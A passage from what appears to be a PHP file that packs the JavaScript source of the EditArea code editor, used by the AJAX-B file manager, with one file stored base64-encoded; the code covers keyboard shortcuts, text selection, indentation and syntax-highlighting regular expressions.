		this.reload_highlight=true;
		this.last_highlight_base_text="";
		this.focus();		
		if(reload_now)
			this.check_line_selection(false); 
	};	
',
  './AJAX-B/edit_area/keyboard.js' => 'dmFyIEVBX2tleXMgPSB7ODoiUmV0b3VyIGFycmllcmUiLDk6IlRhYnVsYXRpb24iLDEyOiJNaWxpZXUgKHBhdmUgbnVtZXJpcXVlKSIsMTM6IkVudHJlciIsMTY6IlNoaWZ0IiwxNzoiQ3RybCIsMTg6IkFsdCIsMTk6IlBhdXNlIiwyMDoiVmVyciBNYWoiLDI3OiJFc2MiLDMyOiJTcGFjZSIsMzM6IlBhZ2UgdXAiLDM0OiJQYWdlIGRvd24iLDM1OiJFbmQiLDM2OiJCZWdpbiIsMzc6IkxlZnQiLDM4OiJVcCIsMzk6IlJpZ2h0Iiw0MDoiRG93biIsNDQ6IkltcHIgZWNyYW4iLDQ1OiJJbnNlciIsNDY6IlN1cHByIiw5MToiTWVudSBEZW1hcnJlciBXaW5kb3dzIC8gdG91Y2hlIHBvbW1lIE1hYyIsOTI6Ik1lbnUgRGVtYXJyZXIgV2luZG93cyIsOTM6Ik1lbnUgY29udGV4dHVlbCBXaW5kb3dzIiwxMTI6IkYxIiwxMTM6IkYyIiwxMTQ6IkYzIiwxMTU6IkY0IiwxMTY6IkY1IiwxMTc6IkY2IiwxMTg6IkY3IiwxMTk6IkY4IiwxMjA6IkY5IiwxMjE6IkYxMCIsMTIyOiJGMTEiLDEyMzoiRjEyIiwxNDQ6IlZlcnIgTnVtIiwxNDU6IkFycmV0IGRlZmlsIn07DQoNCg0KDQpmdW5jdGlvbiBrZXlEb3duKGUpew0KCWlmKCFlKXsJLy8gaWYgSUUNCgkJZT1ldmVudDsNCgl9DQoJDQoJLy8gc2VuZCB0aGUgZXZlbnQgdG8gdGhlIHBsdWdpbnMNCglmb3IodmFyIGkgaW4gZWRpdEFyZWEucGx1Z2lucyl7DQoJCWlmKHR5cGVvZihlZGl0QXJlYS5wbHVnaW5zW2ldLm9ua2V5ZG93bik9PSJmdW5jdGlvbiIpew0KCQkJaWYoZWRpdEFyZWEucGx1Z2luc1tpXS5vbmtleWRvd24oZSk9PT1mYWxzZSl7IC8vIHN0b3AgcHJvcGFnaW5nDQoJCQkJaWYoZWRpdEFyZWEubmF2Wydpc0lFJ10pDQoJCQkJCWUua2V5Q29kZT0wOw0KCQkJCXJldHVybiBmYWxzZTsNCgkJCX0NCgkJfQ0KCX0NCg0KCXZhciB0YXJnZXRfaWQ9KGUudGFyZ2V0IHx8IGUuc3JjRWxlbWVudCkuaWQ7DQoJdmFyIHVzZT1mYWxzZTsNCglpZiAoRUFfa2V5c1tlLmtleUNvZGVdKQ0KCQlsZXR0ZXI9RUFfa2V5c1tlLmtleUNvZGVdOw0KCWVsc2UNCgkJbGV0dGVyPVN0cmluZy5mcm9tQ2hhckNvZGUoZS5rZXlDb2RlKTsNCgkNCgl2YXIgbG93X2xldHRlcj0gbGV0dGVyLnRvTG93ZXJDYXNlKCk7DQoJCQkNCglpZihsZXR0ZXI9PSJQYWdlIHVwIiAmJiAhZWRpdEFyZWEubmF2Wydpc09wZXJhJ10pew0KCQllZGl0QXJlYS5leGVjQ29tbWFuZCgic2Nyb2xsX3BhZ2UiLCB7ImRpciI6ICJ1cCIsICJzaGlmdCI6IFNoaWZ0UHJlc3NlZChlKX0pOw0KCQl1c2U9dHJ1ZTsNCgl9ZWxzZSBpZihsZXR0ZXI9PSJQYWdlIGRvd24iICYmICFlZGl0QXJlYS5uYXZbJ2lzT3BlcmEnXSl7DQoJCWVkaXRBcmVhLmV4ZWNDb21tYW5kKCJzY3JvbGxfcGFnZSIsIHsiZGlyIjogImRvd24iLCAic2hpZnQiOiBTaGlmdFByZXNzZWQoZSl9KTsNCgkJdXNlPXRydWU7DQoJfWVsc2UgaWYoZWRpdEFyZWEuaXNfZWRpdGFibGU9PWZhbHNlKXsNCgkJLy8gZG8gbm90aGluZyBidXQgYWxzbyBkbyBub3RoaW5nIGVsc2UgKGFsbG93IHRvIG5hdmlnYXRlIHdpdGggcGFnZSB1cCBhbmQgcGFnZSBkb3duKQ0KCQlyZXR1cm4gdHJ1ZTsNCgl9ZWxzZSBpZihsZXR0ZXI9PSJUYWJ1bGF0aW9uIiAmJiB0YXJnZXRfaWQ9PSJ0ZXh0YXJlYSIgJiYgIUN0cmxQcmVzc2VkKGUpICYmICFBbHRQcmVzc2VkKGUpKXsJDQoJCWlmKFNoaWZ0UHJlc3NlZChlKSkNCgkJCWVkaXRBcmVhLmV4ZWNDb21tYW5kKCJpbnZlcnRfdGFiX3NlbGVjdGlvbiIpOw0KCQllbHNlDQoJCQllZGl0QXJlYS5leGVjQ29tbWFuZCgidGFiX3NlbGVjdGlvbiIpOw0KCQkNCgkJdXNlPXRydWU7DQoJCWlmKGVkaXRBcmVhLm5hdlsnaXNPcGVyYSddIHx8IChlZGl0QXJlYS5uYXZbJ2lzRmlyZWZveCddICYmIGVkaXRBcmVhLm5hdlsnaXNNYWNPUyddKSApCS8vIG9wZXJhICYmIGZpcmVmb3ggbWFjIGNhbid0IGNhbmNlbCB0YWJ1bGF0aW9uIGV2ZW50cy4uLg0KCQkJc2V0VGltZW91dCgiZWRpdEFyZWEuZXhlY0NvbW1hbmQoJ2ZvY3VzJyk7IiwgMSk7DQoJfWVsc2UgaWYobGV0dGVyPT0iRW50cmVyIiAmJiB0YXJnZXRfaWQ9PSJ0ZXh0YXJlYSIpew0KCQlpZihlZGl0QXJlYS5wcmVzc19lbnRlcigpKQ0KCQkJdXNlPXRydWU7DQoJfWVsc2UgaWYobGV0dGVyPT0iRW50cmVyIiAmJiB0YXJnZXRfaWQ9PSJhcmVhX3NlYXJjaCIpew0KCQllZGl0QXJlYS5leGVjQ29tbWFuZCgiYXJlYV9zZWFyY2giKTsNCgkJdXNlPXRydWU7DQoJfWVsc2UgIGlmKGxldHRlcj09IkVzYyIpew0KCQllZGl0QXJlYS5leGVjQ29tbWFuZCgiY2xvc2VfYWxsX2lubGluZV9wb3B1cCIsIGUpOw0KCQl1c2U9dHJ1ZTsNCgl9ZWxzZSBpZihDdHJsUHJlc3NlZChlKSAmJiAhQWx0UHJlc3NlZChlKSAmJiAhU2hpZnRQcmVzc2VkKGUpKXsNCgkJc3dpdGNoKGxvd19sZXR0ZXIpew0KCQkJY2FzZSAiZiI6CQkJCQ0KCQkJCWVkaXRBcmVhLmV4ZWNDb21tYW5kKCJhcmVhX3NlYXJjaCIpOw0KCQkJCXVzZT10cnVlOw0KCQkJCWJyZWFrOw0KCQkJY2FzZSAiciI6DQoJCQkJZWRpdEFyZWEuZXhlY0NvbW1hbmQoImFyZWFfcmVwbGFjZSIpOw0KCQkJCXVzZT10cnVlOw0KCQkJCWJyZWFrOw0KCQkJY2FzZSAicSI6DQoJCQkJZWRpdEFyZWEuZXhlY0NvbW1hbmQoImNsb3NlX2FsbF9pbmxpbmVfcG9wdXAiLCBlKTsNCgkJCQl1c2U9dHJ1ZTsNCgkJCQlicmVhazsNCgkJCWNhc2UgImgiOg0KCQkJCWVkaXRBcmVhLmV4ZWNDb21tYW5kKCJjaGFuZ2VfaGlnaGxpZ2h0Iik7CQkJDQoJCQkJdXNlPXRydWU7DQoJCQkJYnJlYWs7DQoJCQljYXNlICJnIjoNCgkJCQlzZXRUaW1lb3V0KCJlZGl0QXJlYS5leGVjQ29tbWFuZCgnZ29fdG9fbGluZScpOyIsIDUpOwkvLyB0aGUgcHJvbXB0IHN0b3AgdGhlIHJldHVybiBmYWxzZSBvdGhlcndpc2UNCgkJCQl1c2U9dHJ1ZTsNCgkJCQlicmVhazsNCgkJCWNhc2UgImUiOg0KCQkJCWVkaXRBcmVhLmV4ZWNDb21tYW5kKCJzaG93X2hlbHAiKTsNCgkJCQl1c2U9dHJ1ZTsNCgkJCQlicmVhazsNCgkJCWNhc2UgInoiOg0KCQkJCXVzZT10cnVlOw0KCQkJCWVkaXRBcmVhLmV4ZWNDb21tYW5kKCJ1bmRvIik7DQoJCQkJYnJlYWs7DQoJCQljYXNlICJ5IjoNCgkJCQl1c2U9dHJ1ZTsNCgkJCQllZGl0QXJlYS5leGVjQ29tbWFuZCgicmVkbyIpOw0KCQkJCWJyZWFrOw0KCQkJY2FzZSAicyI6IC8vIG1hcmNoZSBwYXMNCgkJCQl1c2U9dHJ1ZTsNCgkJCQllZGl0QXJlYS5leGVjQ29tbWFuZCgic2F2ZSIpOw0KCQkJCWJyZWFrOw0KCQkJZGVmYXVsdDoNCgkJCQlicmVhazsNCgkJfQ0KCX0NCgkNCgkvLyBjaGVjayB0byBkaXNhYmxlIHRoZSByZWRvIHBvc3NpYmlsaXR5IGlmIHRoZSB0ZXh0YXJlYSBjb250ZW50IGNoYW5nZQ0KCWlmKGVkaXRBcmVhLm5leHQubGVuZ3RoID4gMCl7DQoJCXNldFRpbWVvdXQoImVkaXRBcmVhLmNoZWNrX3JlZG8oKTsiLCAxMCk7DQoJfQ0KCQ0KCXNldFRpbWVvdXQoImVkaXRBcmVhLmNoZWNrX2ZpbGVfY2hhbmdlcygpOyIsIDEwKTsNCgkNCgkNCglpZih1c2Upew0KCQkvLyBpbiBjYXNlIG9mIGEgY29udHJvbCB0aGF0IHNvdWxkJ250IGJlIHVzZWQgYnkgSUUgYnV0IHRoYXQgaXMgdXNlZCA9PiBUSFJPVyBhIGphdmFzY3JpcHQgZXJyb3IgdGhhdCB3aWxsIHN0b3Aga2V5IGFjdGlvbg0KCQlpZihlZGl0QXJlYS5uYXZbJ2lzSUUnXSkNCgkJCWUua2V5Q29kZT0wOw0KCQlyZXR1cm4gZmFsc2U7DQoJfQ0KCS8vYWxlcnQoIlRlc3Q6ICIrIGxldHRlciArICIgKCIrZS5rZXlDb2RlKyIpIEFMVDogIisgQWx0UHJlc3NlZChlKSArICIgQ1RSTCAiKyBDdHJsUHJlc3NlZChlKSArICIgU0hJRlQgIisgU2hpZnRQcmVzc2VkKGUpKTsNCgkNCglyZXR1cm4gdHJ1ZTsNCgkNCn07DQoNCg0KLy8gcmV0dXJuIHRydWUgaWYgQWx0IGtleSBpcyBwcmVzc2VkDQpmdW5jdGlvbiBBbHRQcmVzc2VkKGUpIHsNCglpZiAod2luZG93LmV2ZW50KSB7DQoJCXJldHVybiAod2luZG93LmV2ZW50LmFsdEtleSk7DQoJfSBlbHNlIHsNCgkJaWYoZS5tb2RpZmllcnMpDQoJCQlyZXR1cm4gKGUuYWx0S2V5IHx8IChlLm1vZGlmaWVycyAlIDIpKTsNCgkJZWxzZQ0KCQkJcmV0dXJuIGUuYWx0S2V5Ow0KCX0NCn07DQoNCi8vIHJldHVybiB0cnVlIGlmIEN0cmwga2V5IGlzIHByZXNzZWQNCmZ1bmN0aW9uIEN0cmxQcmVzc2VkKGUpIHsNCglpZiAod2luZG93LmV2ZW50KSB7DQoJCXJldHVybiAod2luZG93LmV2ZW50LmN0cmxLZXkpOw0KCX0gZWxzZSB7DQoJCXJldHVybiAoZS5jdHJsS2V5IHx8IChlLm1vZGlmaWVycz09MikgfHwgKGUubW9kaWZpZXJzPT0zKSB8fCAoZS5tb2RpZmllcnM+NSkpOw0KCX0NCn07DQoNCi8vIHJldHVybiB0cnVlIGlmIFNoaWZ0IGtleSBpcyBwcmVzc2VkDQpmdW5jdGlvbiBTaGlmdFByZXNzZWQoZSkgew0KCWlmICh3aW5kb3cuZXZlbnQpIHsNCgkJcmV0dXJuICh3aW5kb3cuZXZlbnQuc2hpZnRLZXkpOw0KCX0gZWxzZSB7DQoJCXJldHVybiAoZS5zaGlmdEtleSB8fCAoZS5tb2RpZmllcnM+MykpOw0KCX0NCn07DQo=',
  './AJAX-B/edit_area/manage_area.js' => '	EditArea.prototype.focus = function() {
		this.textarea.focus();
		this.textareaFocused=true;
	};


	EditArea.prototype.check_line_selection= function(timer_checkup){
		//if(do_highlight==false){

		if(!editAreas[this.id])
			return false;
		
		//time=new Date;
		//t1=t2=t3= time.getTime();
		
		if(!this.smooth_selection && !this.do_highlight){
			//formatArea();
		}else if(this.textareaFocused && editAreas[this.id]["displayed"]==true && this.isResizing==false){
			infos= this.get_selection_infos();
		//	time=new Date;
		//	t2= time.getTime();
			
			//if(this.last_selection["line_start"] != infos["line_start"] || this.last_selection["line_nb"] != infos["line_nb"] || infos["full_text"] != this.last_selection["full_text"]){
			if(this.last_selection["line_start"] != infos["line_start"] || this.last_selection["line_nb"] != infos["line_nb"] || infos["full_text"] != this.last_selection["full_text"] || this.reload_highlight){
			// if selection change
				
				new_top=this.lineHeight * (infos["line_start"]-1);
				new_height=Math.max(0, this.lineHeight * infos["line_nb"]);
				new_width=Math.max(this.textarea.scrollWidth, this.container.clientWidth -50);
				
				this.selection_field.style.top=new_top+"px";	
				this.selection_field.style.width=new_width+"px";
				this.selection_field.style.height=new_height+"px";	
				$("cursor_pos").style.top=new_top+"px";	
		
				if(this.do_highlight==true){
					var curr_text=infos["full_text"].split("\n");
					var content="";
					//alert("length: "+curr_text.length+ " i: "+ Math.max(0,infos["line_start"]-1)+ " end: "+Math.min(curr_text.length, infos["line_start"]+infos["line_nb"]-1)+ " line: "+infos["line_start"]+" [0]: "+curr_text[0]+" [1]: "+curr_text[1]);
					var start=Math.max(0,infos["line_start"]-1);
					var end=Math.min(curr_text.length, infos["line_start"]+infos["line_nb"]-1);
					
					//curr_text[start]= curr_text[start].substr(0,infos["curr_pos"]-1) +"¤_overline_¤"+ curr_text[start].substr(infos["curr_pos"]-1);
					for(i=start; i< end; i++){
						content+= curr_text[i]+"\n";	
					}
					
					content= content.replace(/&/g,"&amp;");
					content= content.replace(/</g,"&lt;");
					content= content.replace(/>/g,"&gt;");
					
					if(this.nav['isIE'] || this.nav['isOpera'] || this.nav['isFirefox'] >= 3)
						this.selection_field.innerHTML= "<pre>" + content.replace("\n", "<br/>") + "</pre>";	
					else
						this.selection_field.innerHTML=content;
						
					if(this.reload_highlight || (infos["full_text"] != this.last_text_to_highlight && (this.last_selection["line_start"]!=infos["line_start"] || this.show_line_colors || this.last_selection["line_nb"]!=infos["line_nb"] || this.last_selection["nb_line"]!=infos["nb_line"]) ) )
						this.maj_highlight(infos);
				}		
			}
		//	time=new Date;
		//	t3= time.getTime();
			
			// manage bracket finding
			if(infos["line_start"] != this.last_selection["line_start"] || infos["curr_pos"] != this.last_selection["curr_pos"] || infos["full_text"].length!=this.last_selection["full_text"].length || this.reload_highlight){
				// move _cursor_pos
				var selec_char= infos["curr_line"].charAt(infos["curr_pos"]-1);
				var no_real_move=true;
				if(infos["line_nb"]==1 && (this.assocBracket[selec_char] || this.revertAssocBracket[selec_char]) ){
					
					no_real_move=false;					
					//findEndBracket(infos["line_start"], infos["curr_pos"], selec_char);
					if(this.findEndBracket(infos, selec_char) === true){
						$("end_bracket").style.visibility="visible";
						$("cursor_pos").style.visibility="visible";
						$("cursor_pos").innerHTML= selec_char;
						$("end_bracket").innerHTML= (this.assocBracket[selec_char] || this.revertAssocBracket[selec_char]);
					}else{
						$("end_bracket").style.visibility="hidden";
						$("cursor_pos").style.visibility="hidden";
					}
				}else{
					$("cursor_pos").style.visibility="hidden";
					$("end_bracket").style.visibility="hidden";
				}
				//alert("move cursor");
				this.displayToCursorPosition("cursor_pos", infos["line_start"], infos["curr_pos"]-1, infos["curr_line"], no_real_move);
				if(infos["line_nb"]==1 && infos["line_start"]!=this.last_selection["line_start"])
					this.scroll_to_view();
			}
			this.last_selection=infos;
		}
	//	time=new Date;
	//	tend= time.getTime();
		//this.debug.value="tps total: "+ (tend-t1) + " tps get_infos: "+ (t2-t1)+ " tps jaune: "+ (t3-t2) +" tps cursor: "+ (tend-t3)+" "+typeof(infos);
		
		if(timer_checkup){
			//if(this.do_highlight==true)	//can slow down check speed when highlight mode is on
			setTimeout("editArea.check_line_selection(true)", this.check_line_selection_timer);
		}
	};


	EditArea.prototype.get_selection_infos= function(){
		if(this.nav['isIE'])
			this.getIESelection();
		start=this.textarea.selectionStart;
		end=this.textarea.selectionEnd;		
		
		if(this.last_selection["selectionStart"]==start && this.last_selection["selectionEnd"]==end && this.last_selection["full_text"]==this.textarea.value)
			return this.last_selection;
			
		if(this.tabulation!="\t" && this.textarea.value.indexOf("\t")!=-1) 
		{	// can append only after copy/paste 
			var len= this.textarea.value.length;
			this.textarea.value=this.replace_tab(this.textarea.value);
			start=end= start+(this.textarea.value.length-len);
			this.area_select(start, 0);
		}
		var selections=new Object();
		selections["selectionStart"]= start;
		selections["selectionEnd"]= end;		
		selections["full_text"]= this.textarea.value;
		selections["line_start"]=1;
		selections["line_nb"]=1;
		selections["curr_pos"]=0;
		selections["curr_line"]="";
		selections["indexOfCursor"]=0;
		selections["selec_direction"]= this.last_selection["selec_direction"];
		
		//return selections;	
		
		var splitTab=selections["full_text"].split("\n");
		var nbLine=Math.max(0, splitTab.length);		
		var nbChar=Math.max(0, selections["full_text"].length - (nbLine - 1));	// (remove \n caracters from the count)
		if(selections["full_text"].indexOf("\r")!=-1)
			nbChar= nbChar - (nbLine -1);		// (remove \r caracters from the count)
		selections["nb_line"]=nbLine;		
		selections["nb_char"]=nbChar;		
		if(start>0){
			var str=selections["full_text"].substr(0,start);
			selections["curr_pos"]= start - str.lastIndexOf("\n");
			selections["line_start"]=Math.max(1, str.split("\n").length);
		}else{
			selections["curr_pos"]=1;
		}
		if(end>start){
			selections["line_nb"]=selections["full_text"].substring(start,end).split("\n").length;
		}
		selections["indexOfCursor"]=this.textarea.selectionStart;		
		selections["curr_line"]=splitTab[Math.max(0,selections["line_start"]-1)];
		
		
		// determine in with direction the direction grow
		if(selections["selectionStart"]==this.last_selection["selectionStart"]){
			if(selections["selectionEnd"]>this.last_selection["selectionEnd"])
				selections["selec_direction"]= "down";
			else if(selections["selectionEnd"] == this.last_selection["selectionStart"])
				selections["selec_direction"]= this.last_selection["selec_direction"];
		}else if(selections["selectionStart"] == this.last_selection["selectionEnd"] && selections["selectionEnd"]>this.last_selection["selectionEnd"]){
			selections["selec_direction"]= "down";
		}else{
			selections["selec_direction"]= "up";
		}
			
		$("nbLine").innerHTML= nbLine;		
		$("nbChar").innerHTML= nbChar;		
		$("linePos").innerHTML=selections["line_start"];
		$("currPos").innerHTML=selections["curr_pos"];
		
		return selections;		
	};
	
	// set IE position in Firefox mode (textarea.selectionStart and textarea.selectionEnd)
	EditArea.prototype.getIESelection= function(){	
		var range = document.selection.createRange();
		var stored_range = range.duplicate();
		stored_range.moveToElementText( this.textarea );
		stored_range.setEndPoint( 'EndToEnd', range );
		if(stored_range.parentElement() !=this.textarea)
			return;
	
		// the range don't take care of empty lines in the end of the selection
		var scrollTop= this.result.scrollTop + document.body.scrollTop;
		
		var relative_top= range.offsetTop - parent.calculeOffsetTop(this.textarea) + scrollTop;
		
		var line_start = Math.round((relative_top / this.lineHeight) +1);
		
		var line_nb=Math.round(range.boundingHeight / this.lineHeight);
					
		var range_start=stored_range.text.length - range.text.length;
		var tab=this.textarea.value.substr(0, range_start).split("\n");			
		range_start+= (line_start - tab.length)*2;		// add missing empty lines to the selection
		this.textarea.selectionStart = range_start;
		
		var range_end=this.textarea.selectionStart + range.text.length;
		tab=this.textarea.value.substr(0, range_start + range.text.length).split("\n");			
		range_end+= (line_start + line_nb - 1 - tab.length)*2;
		
		this.textarea.selectionEnd = range_end;
		/*this.textarea.selectionStart = 10;
		this.textarea.selectionEnd = 50;*/
	};
	
	// select the text for IE (and take care of \r caracters)
	EditArea.prototype.setIESelection= function(){
		var nbLineStart=this.textarea.value.substr(0, this.textarea.selectionStart).split("\n").length - 1;
		var nbLineEnd=this.textarea.value.substr(0, this.textarea.selectionEnd).split("\n").length - 1;
		var range = document.selection.createRange();
		range.moveToElementText( this.textarea );
		range.setEndPoint( 'EndToStart', range );
		
		range.moveStart('character', this.textarea.selectionStart - nbLineStart);
		range.moveEnd('character', this.textarea.selectionEnd - nbLineEnd - (this.textarea.selectionStart - nbLineStart)  );
		range.select();
	};
	
	EditArea.prototype.tab_selection= function(){
		if(this.is_tabbing)
			return;
		this.is_tabbing=true;
		//infos=getSelectionInfos();
		//if( document.selection ){
		if( this.nav['isIE'] )
			this.getIESelection();
		/* Insertion du code de formatage */
		var start = this.textarea.selectionStart;
		var end = this.textarea.selectionEnd;
		var insText = this.textarea.value.substring(start, end);
		
		/* Insert tabulation and ajust cursor position */
		var pos_start=start;
		var pos_end=end;
		if (insText.length == 0) {
			// if only one line selected
			this.textarea.value = this.textarea.value.substr(0, start) + this.tabulation + this.textarea.value.substr(end);
			pos_start = start + this.tabulation.length;
			pos_end=pos_start;
		} else {
			start= Math.max(0, this.textarea.value.substr(0, start).lastIndexOf("\n")+1);
			endText=this.textarea.value.substr(end);
			startText=this.textarea.value.substr(0, start);
			tmp= this.textarea.value.substring(start, end).split("\n");
			insText= this.tabulation+tmp.join("\n"+this.tabulation);
			this.textarea.value = startText + insText + endText;
			pos_start = start;
			pos_end= this.textarea.value.indexOf("\n", startText.length + insText.length);
			if(pos_end==-1)
				pos_end=this.textarea.value.length;
			//pos = start + repdeb.length + insText.length + ;
		}
		this.textarea.selectionStart = pos_start;
		this.textarea.selectionEnd = pos_end;
		
		//if( document.selection ){
		if(this.nav['isIE']){
			this.setIESelection();
			setTimeout("editArea.is_tabbing=false;", 100);	// IE can't accept to make 2 tabulation without a little break between both
		}else
			this.is_tabbing=false;	
		
  	};
	
	EditArea.prototype.invert_tab_selection= function(){
		if(this.is_tabbing)
			return;
		this.is_tabbing=true;
		//infos=getSelectionInfos();
		//if( document.selection ){
		if(this.nav['isIE'])
			this.getIESelection();
		
		var start = this.textarea.selectionStart;
		var end = this.textarea.selectionEnd;
		var insText = this.textarea.value.substring(start, end);
		
		/* Tab remove and cursor seleciton adjust */
		var pos_start=start;
		var pos_end=end;
		if (insText.length == 0) {
			if(this.textarea.value.substring(start-this.tabulation.length, start)==this.tabulation)
			{
				this.textarea.value = this.textarea.value.substr(0, start-this.tabulation.length) + this.textarea.value.substr(end);
				pos_start= Math.max(0, start-this.tabulation.length);
				pos_end=pos_start;
			}	
			/*
			this.textarea.value = this.textarea.value.substr(0, start) + this.tabulation + insText + this.textarea.value.substr(end);
			pos_start = start + this.tabulation.length;
			pos_end=pos_start;*/
		} else {
			start= this.textarea.value.substr(0, start).lastIndexOf("\n")+1;
			endText=this.textarea.value.substr(end);
			startText=this.textarea.value.substr(0, start);
			tmp= this.textarea.value.substring(start, end).split("\n");
			insText="";
			for(i=0; i<tmp.length; i++){				
				for(j=0; j<this.tab_nb_char; j++){
					if(tmp[i].charAt(0)=="\t"){
						tmp[i]=tmp[i].substr(1);
						j=this.tab_nb_char;
					}else if(tmp[i].charAt(0)==" ")
						tmp[i]=tmp[i].substr(1);
				}		
				insText+=tmp[i];
				if(i<tmp.length-1)
					insText+="\n";
			}
			//insText+="_";
			this.textarea.value = startText + insText + endText;
			pos_start = start;
			pos_end= this.textarea.value.indexOf("\n", startText.length + insText.length);
			if(pos_end==-1)
				pos_end=this.textarea.value.length;
			//pos = start + repdeb.length + insText.length + ;
		}
		this.textarea.selectionStart = pos_start;
		this.textarea.selectionEnd = pos_end;
		
		//if( document.selection ){
		if(this.nav['isIE']){
			// select the text for IE
			this.setIESelection();
			setTimeout("editArea.is_tabbing=false;", 100);	// IE can accept to make 2 tabulation without a little break between both
		}else
			this.is_tabbing=false;
  	};
	
	EditArea.prototype.press_enter= function(){		
		if(!this.smooth_selection)
			return false;
		if(this.nav['isIE'])
			this.getIESelection();
		var scrollTop= this.result.scrollTop;
		var scrollLeft= this.result.scrollLeft;
		var start=this.textarea.selectionStart;
		var end= this.textarea.selectionEnd;
		var start_last_line= Math.max(0 , this.textarea.value.substring(0, start).lastIndexOf("\n") + 1 );
		var begin_line= this.textarea.value.substring(start_last_line, start).replace(/^([ \t]*).*/gm, "$1");
		if(begin_line=="\n" || begin_line=="\r" || begin_line.length==0)
			return false;
			
		if(this.nav['isIE'] || this.nav['isOpera']){
			begin_line="\r\n"+ begin_line;
		}else{
			begin_line="\n"+ begin_line;
		}	
		//alert(start_last_line+" strat: "+start +"\n"+this.textarea.value.substring(start_last_line, start)+"\n_"+begin_line+"_")
		this.textarea.value= this.textarea.value.substring(0, start) + begin_line + this.textarea.value.substring(end);
		
		this.area_select(start+ begin_line.length ,0);
		// during this process IE scroll back to the top of the textarea
		if(this.nav['isIE']){
			this.result.scrollTop= scrollTop;
			this.result.scrollLeft= scrollLeft;
		}
		return true;
		
	};
	
	EditArea.prototype.findEndBracket= function(infos, bracket){
			
		var start=infos["indexOfCursor"];
		var normal_order=true;
		//curr_text=infos["full_text"].split("\n");
		if(this.assocBracket[bracket])
			endBracket=this.assocBracket[bracket];
		else if(this.revertAssocBracket[bracket]){
			endBracket=this.revertAssocBracket[bracket];
			normal_order=false;
		}	
		var end=-1;
		var nbBracketOpen=0;
		
		for(var i=start; i<infos["full_text"].length && i>=0; ){
			if(infos["full_text"].charAt(i)==endBracket){				
				nbBracketOpen--;
				if(nbBracketOpen<=0){
					//i=infos["full_text"].length;
					end=i;
					break;
				}
			}else if(infos["full_text"].charAt(i)==bracket)
				nbBracketOpen++;
			if(normal_order)
				i++;
			else
				i--;
		}
		
		//end=infos["full_text"].indexOf("}", start);
		if(end==-1)
			return false;	
		var endLastLine=infos["full_text"].substr(0, end).lastIndexOf("\n");			
		if(endLastLine==-1)
			line=1;
		else
			line= infos["full_text"].substr(0, endLastLine).split("\n").length + 1;
					
		var curPos= end - endLastLine;
		
		this.displayToCursorPosition("end_bracket", line, curPos, infos["full_text"].substring(endLastLine +1, end));
		return true;
	};
	
	EditArea.prototype.displayToCursorPosition= function(id, start_line, cur_pos, lineContent, no_real_move){
		var elem= $("test_font_size");
		var dest= $(id);
		var postLeft=0;
		elem.innerHTML="<pre><span id='test_font_size_inner'>"+lineContent.substr(0, cur_pos).replace(/&/g,"&amp;").replace(/</g,"&lt;")+"</span></pre>";
		posLeft= 45 + $('test_font_size_inner').offsetWidth;

		var posTop=this.lineHeight * (start_line-1);
	
		if(no_real_move!=true){	// when the cursor is hidden no need to move him
			dest.style.top=posTop+"px";
			dest.style.left=posLeft+"px";		
		}
		// usefull for smarter scroll
		dest.cursor_top=posTop;
		dest.cursor_left=posLeft;
		
	//	$(id).style.marginLeft=posLeft+"px";
		
	};
	
	
	EditArea.prototype.area_select= function(start, length){
		this.textarea.focus();
		
		start= Math.max(0, Math.min(this.textarea.value.length, start));
		end= Math.max(start, Math.min(this.textarea.value.length, start+length));

		if(this.nav['isIE']){
			this.textarea.selectionStart = start;
			this.textarea.selectionEnd = end;		
			this.setIESelection();
		}else{
			if(this.nav['isOpera']){	// Opera bug when moving selection start and selection end
				/*this.textarea.selectionEnd = 1;	
				this.textarea.selectionStart = 0;			
				this.textarea.selectionEnd = 1;	
				this.textarea.selectionStart = 0;
				this.textarea.selectionEnd = 0;	
				this.textarea.selectionStart = 0;
				this.textarea.selectionEnd = 0;	
				this.textarea.selectionStart = 0;*/
				this.textarea.setSelectionRange(0, 0);
			}
			this.textarea.setSelectionRange(start, end);
		}
		this.check_line_selection();
	};
	
	
	EditArea.prototype.area_get_selection= function(){
		var text="";
		if( document.selection ){
			var range = document.selection.createRange();
			text=range.text;
		}else{
			text= this.textarea.value.substring(this.textarea.selectionStart, this.textarea.selectionEnd);
		}
		return text;			
	};
',
  './AJAX-B/edit_area/reg_syntax.js' => '	EditAreaLoader.prototype.get_regexp= function(text_array){
		//res="( |=|\\n|\\r|\\[|\\(|µ|)(";
		res="(\\b)(";
		for(i=0; i<text_array.length; i++){
			if(i>0)
				res+="|";
			//res+="("+ tab_text[i] +")";
			//res+=tab_text[i].replace(/(\.|\?|\*|\+|\\|\(|\)|\[|\]|\{|\})/g, "\\$1");
			res+=this.get_escaped_regexp(text_array[i]);
		}
		//res+=")( |\\.|:|\\{|\\(|\\)|\\[|\\]|\'|\"|\\r|\\n|\\t|$)";
		res+=")(\\b)";
		reg= new RegExp(res);
		
		return res;
	};
	
	
	EditAreaLoader.prototype.get_escaped_regexp= function(str){
		return str.replace(/(\.|\?|\*|\+|\\|\(|\)|\[|\]|\}|\{|\$|\^|\|)/g, "\\$1");
	};
	
	EditAreaLoader.prototype.init_syntax_regexp= function(){
		var lang_style= new Object();	
		for(var lang in this.load_syntax){
			if(!this.syntax[lang])	// init the regexp if not already initialized
			{
				this.syntax[lang]= new Object();
				this.syntax[lang]["keywords_reg_exp"]= new Object();
				this.keywords_reg_exp_nb=0;
			
				if(this.load_syntax[lang]['KEYWORDS']){
					param="g";
					if(this.load_syntax[lang]['KEYWORD_CASE_SENSITIVE']===false)
						param+="i";
					for(var i in this.load_syntax[lang]['KEYWORDS']){
						if(typeof(this.load_syntax[lang]['KEYWORDS'][i])=="function") continue;
						this.syntax[lang]["keywords_reg_exp"][i]= new RegExp(this.get_regexp( this.load_syntax[lang]['KEYWORDS'][i] ), param);
						this.keywords_reg_exp_nb++;
					}
				}
				
				if(this.load_syntax[lang]['OPERATORS']){
					var str="";
					var nb=0;
					for(var i in this.load_syntax[lang]['OPERATORS']){
						if(typeof(this.load_syntax[lang]['OPERATORS'][i])=="function") continue;
						if(nb>0)
							str+="|";				
						str+=this.get_escaped_regexp(this.load_syntax[lang]['OPERATORS'][i]);
						nb++;
					}
					if(str.length>0)
						this.syntax[lang]["operators_reg_exp"]= new RegExp("("+str+")","g");
				}
				
				if(this.load_syntax[lang]['DELIMITERS']){
					var str="";
					var nb=0;
					for(var i in this.load_syntax[lang]['DELIMITERS']){
						if(typeof(this.load_syntax[lang]['DELIMITERS'][i])=="function") continue;
						if(nb>0)
							str+="|";
						str+=this.get_escaped_regexp(this.load_syntax[lang]['DELIMITERS'][i]);
						nb++;
					}
